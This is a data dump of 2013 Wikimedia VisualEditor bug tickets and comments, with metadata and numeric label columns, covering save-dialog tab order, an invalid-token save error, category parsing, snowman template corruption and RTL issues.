+53918,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Cloning from bug 50897 comment 2:
+
+In the old editor, I would simply use TAB to reach the edit summary, type my
+edit summary and press ENTER to activate the ""Save page"" button and save. If I
+wanted to mark the edit minor, then I could type my edit summary, press TAB,
+SPACE, and then ENTER to ""Save page"".
+
+I can see that the new box for entering an edit summary allows newlines to be
+entered. I am not sure this is a good idea, because I just used a WSYIWYG
+editor and now ""What I see"" - well-formatted paragraphs describing my edit - is
+not going to be ""what I get"" - everything smashed on one line in the article
+history. But that is perhaps grist for another bug mill.
+
+It seems that the ""Save page"" button never receives caret focus if I use TAB to
+try to get there. This would seem to have accessibility ramifications.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1374630480,1381187048.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_description,resolved,True,c1,3,False,False,False,3,,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+251362,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"At least for me, this is not browser-specific: I get the problem in both Chrome and FFox. (The other problem is, I agree, browser-specific.)",,,1400621292,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0
+251354,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"(In reply to Luis Villa (personal-for work use lvilla@wikimedia.org) from comment #11)
+> This is broken (again?) The three license links come up before the action
+> buttons (and save page never comes up, but that is bug 50047 I think?)
+
+Was going to re-open, but because it's a browser-specific issue I've instead opened bug 65554 to get this fixed.",,,1400619950,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,46,,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+251348,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"This is broken (again?) The three license links come up before the action buttons (and save page never comes up, but that is bug 50047 I think?)",,,1400615811,,PHID-USER-n2ftvsjm34tosq65gpve,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,46,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+251345,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,*** Bug 53257 has been marked as a duplicate of this bug. ***,,,1398102157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,42,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+251340,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187048,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+251335,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Change 81876 merged by jenkins-bot:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1381186917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251331,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Change 81876 had a related patch set uploaded by Jforrester:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1378325620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251327,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,*** Bug 53257 has been marked as a duplicate of this bug. ***,,,1378247189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+251322,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Dcoetzee at en.wp reports that the tab order differs in different browsers, and that at a certain point in firefox the focus gets stuck and neither tab nor shift-tab can move it.
+
+The full comment is below:
+    ""On Chrome Version 28.0.1500.95 m on Windows 7 x64: It starts in the edit summary field, goes to the ""minor edit"" link (not the checkbox), then the Save page button, then the Review your changes button (moving right to left), then the three links in the small text at the bottom, then the address bar, then the Search box, then the minor edit checkbox, then the ""Interactions"" menu drop down on the left sidebar (???), then the Watch this page checkbox. If I use SHIFT+TAB it goes to Edit summary link, then jumps straight to the Mediawiki logo way in the bottom right.
+
+    On Firefox 22.0 and 23.0 on Windows 7 x64: It starts in the edit summary field, goes to the ""minor edit"" link (not the checkbox), then the Save page button, then thereafter neither TAB nor SHIFT+TAB do anything (focus is stuck - this is a serious problem as it may require reloading the page and losing edits). SHIFT+TAB is same as in Chrome.
+
+Conventionally, tab order is supposed to go in a logical reading order: left-to-right, top-to-bottom. My expected order was something like this:
+
+    Starts in edit summary field, goes to minor edit checkbox, then minor edit link, then Watch this page checkbox, then Review your changes button, then Save page button, then the three links at the bottom. If I use SHIFT+TAB to tab backwards, I expect to visit the Edit summary link, then (if possible) the arrow to collapse/abort the Save, then the Search box.""",,,1376643209,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,6,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+251314,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"There has been a slight change to this recently but it is still wrong.
+
+Current behaviour: Pressing tab from the summary box leads to the minor edit link
+Desired behaviour: It should lead to the minor edit checkbox (not the link)",,,1375435729,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+251308,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,*** Bug 52080 has been marked as a duplicate of this bug. ***,,,1374880815,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+251300,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"That is an enhancement MZMcBride.
+
+*** This bug has been marked as a duplicate of bug 50047 ***",,,1374630794,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+251292,VisualEditor: Change tab order in save dialog to be more like the wikitext editor's save form,"Yeah, VisualEditor is kind of disruptive in this way. I'd like some further thought here.",,,1374630602,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-rrnwu2dnzhxx4ckh2cdj,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53915,VisualEditor: Return of the invalid token on save attempt problem?,"(This sounds exactly like bug 50424, but that was marked fixed on 2013-07-15 with ""deployed within the hour"".)
+
+I had made source edits to a mediawiki.org page over https. Looking at it 30+ minutes later I wanted to make one more quick edit, so I clicked [Edit].  VE worked fine, Save dialog, [Review your changes] worked, but the final [Save page] drew blue bars before doing nothing.
+
+Firebug's network console showed the API requst visualeditoredit with 
+  basetimestamp	20130723212405
+  format	json
+  minor	1
+  oldid	745108
+  page	Manual:How_to_debug
+  starttimestamp	20130723232059
+was failing with 
+  {""servedby"":""mw1139"",""error"":{""code"":""badtoken"",""info"":""Invalid token""}}
+
+I had a similar occurrence a few days ago where the API reported badtoken. I can't remember the specifics of that, but I assumed it was my mistake because I was using multiple accounts on different wikis.  This time I wasn't doing anything special.  Connecting to https://www.mediawiki.org/wiki/Special:Version in another tab shows me as still logged in.
+
+Maybe there are two bugs here: VE's inability to recover from this, and the lack of a ""VE had an internal error"" with suggestion as to how to what to do (e.g. copy the right-hand column of [Review changes]. Regarding the former, when I've lost state with source editing I usually find [Show preview] brings it back, maybe VE can implement something like this internally.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374622800,1375297527.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-zrcmecxwpnqso5zyiauu,task_description,resolved,True,c1,3,False,False,True,3,,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+251119,VisualEditor: Return of the invalid token on save attempt problem?,This was fixed in gerrit 76859 which was merged yesterday and will go out today.,,,1375297527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+251112,VisualEditor: Return of the invalid token on save attempt problem?,"**mael.leguevel** wrote:
+
+I had the same message with the following scenario:
+Edit an article, not logged in. Then, log in from another tab. Trying to save the article from the first tab, I get the same error message.",,,1375126356,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251105,VisualEditor: Return of the invalid token on save attempt problem?,"en.wp editor Rpyle731 has just reported an occurrence of this:
+""While putting in stub templates in article ""[[Zhang Shi (prince)]]"" using the visual editor, when trying to save I got the text 
+
+""Error loading data from server. Unsuccessful request: Invalid token.""""",,,1374878013,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+251098,VisualEditor: Return of the invalid token on save attempt problem?,"(In reply to comment #1)
+FWIW when I investigated this by clicking the final [Save page] again, I only saw the one visualeditoredit API request in Firebug's Network tab.",,,1374632435,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+251091,VisualEditor: Return of the invalid token on save attempt problem?,"When the API responds with badtoken, VE *should* refetch the token and try again. I'm fairly sure that was implemented, but not 100% sure.",,,1374623153,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zrcmecxwpnqso5zyiauu,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+53902,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"If you look at page settings under https://sv.wikipedia.org/wiki/Violin?veaction=edit you'll see the category ""Wikipedia"". This is actually Kategori:Wikipedia:Basartiklar if you look at the page source; it seems the VE isn't including category elements that are preceded by a colon.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374604560,1374779912.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jxtza5wxkt3lvc2yga75,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+250163,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,Now fixed in master.,,,1374779912,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+250157,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"Change 75859 merged by jenkins-bot:
+Parse category names correctly
+
+https://gerrit.wikimedia.org/r/75859",,,1374776211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250151,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"Change 75859 had a related patch set uploaded by Esanders:
+Parse category names correctly
+
+https://gerrit.wikimedia.org/r/75859",,,1374756861,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250147,VisualEditor: Categories with colons in their name do not display properly in the meta-data dialog,"This style of category name also appears at de.wikipedia, e.g., [[:de:Kategorie:Wikipedia:Schnelllöschen]].",,,1374683040,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jxtza5wxkt3lvc2yga75,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+53883,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,"The error can be seen at http://ja.wikipedia.org/w/index.php?title=ロマン主義&diff=prev&oldid=48242310
+
+Each language template in the lead sentence (e.g., {{lang-en}}, used for providing translations of the article title into English) was replaced by two snowmen.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://ja.wikipedia.org/w/index.php?title=ロマン主義&diff=prev&oldid=48242310",High,80.0,1374589920,1407061575.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-sqexirvlnm7n526sp3a3,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+249259,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,I think that this was finally fixed in Roan's great re-working of snowmen.,,,1407061575,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqexirvlnm7n526sp3a3,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+249255,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,"I have just duplicated this in Thai wikipedia.  Not only does the {{lang-en}} template turn into snowmen, the surrounding text gets rendered into (bolded) English upon saving. 
+
+Diff:https://th.wikipedia.org/w/index.php?title=%E0%B8%81%E0%B8%8E%E0%B8%AB%E0%B8%A1%E0%B8%B2%E0%B8%A2%E0%B8%9B%E0%B8%B4%E0%B8%94%E0%B8%9B%E0%B8%B2%E0%B8%81&diff=5062666&oldid=4871033
+
+Chrome 28.0.1500.71, OS 10.6.8",,,1375214101,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-sqexirvlnm7n526sp3a3,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+249249,VisualEditor: Language templates replaced by snowmen at Japanese Wikipedia,"I quickly tried to reproduce this, and failed.  It might have been fixed by improvements to the code.  It would be good if someone can ask B637pcgt what they did to cause this issue.
+
+jawp still has only a few VE edits per day
+https://ja.wikipedia.org/wiki/special:recentchanges?tagfilter=visualeditor&days=30&limit=500",,,1375075266,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-sqexirvlnm7n526sp3a3,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+53851,"VisualEditor: By default, images should not set the alignment","The VisualEditor explicitly sets all images that are inserted using the dialog as thumb and right. ""thumb"" is fine, because it's not default, but that's what people want most of the time, but ""right"" shouldn't be there. ""right"" is the default for left-to-right Wikipedias, so it's redundant in English. The default for right-to-left Wikipedias is ""left"", so for these languages this behavior is unexpected.
+
+The best solution is simply not to set the alignment and let the user change if it is needed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374568080,1374629227.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_description,resolved,True,c1,3,False,False,True,3,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0
+247432,"VisualEditor: By default, images should not set the alignment","Change 75526 merged by jenkins-bot:
+Image insertion alignment fix
+
+https://gerrit.wikimedia.org/r/75526",,,1374625642,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247429,"VisualEditor: By default, images should not set the alignment","Change 75526 had a related patch set uploaded by Mooeypoo:
+Image insertion alignment fix
+
+https://gerrit.wikimedia.org/r/75526",,,1374621278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+247426,"VisualEditor: By default, images should not set the alignment",*** Bug 51295 has been marked as a duplicate of this bug. ***,,,1374619928,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247423,"VisualEditor: By default, images should not set the alignment","Unless I'm missing something, just remove if it's the default anyway. See an example:
+https://en.wikipedia.org/wiki/User:Amire80/ve_default_image_alignment",,,1374588399,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0
+247417,"VisualEditor: By default, images should not set the alignment",Should we remove the alignment completely (and risk people not putting one in? what's the potential side-effect of that?) or change the 'right' to 'left' on RTL wikis?,,,1374588063,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-6pam6yoqknf5n2r6w5qx,task_subcomment,,True,c1,3,False,,,3,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+53828,VisualEditor: Autocompletion for template names doesn't work in RTL,"Given that I'm editing an article in an RTL wiki: https://he.wikipedia.org/wiki/ASCII
+   And I press the ""Transclude"" button in the toolbar (puzzle piece)
+   And I type ""A""
+Then I should see a list of autocompletions of templates that start with A
+
+Currently I don't see a list of autocompletions.
+
+This bug is quite similar to Bug 51490.
+
+[This was an experiment with writing bug reports as Cucumber-style test scenarios. Let me know if you don't like it.]
+
+--------------------------
+**Version**: unspecified
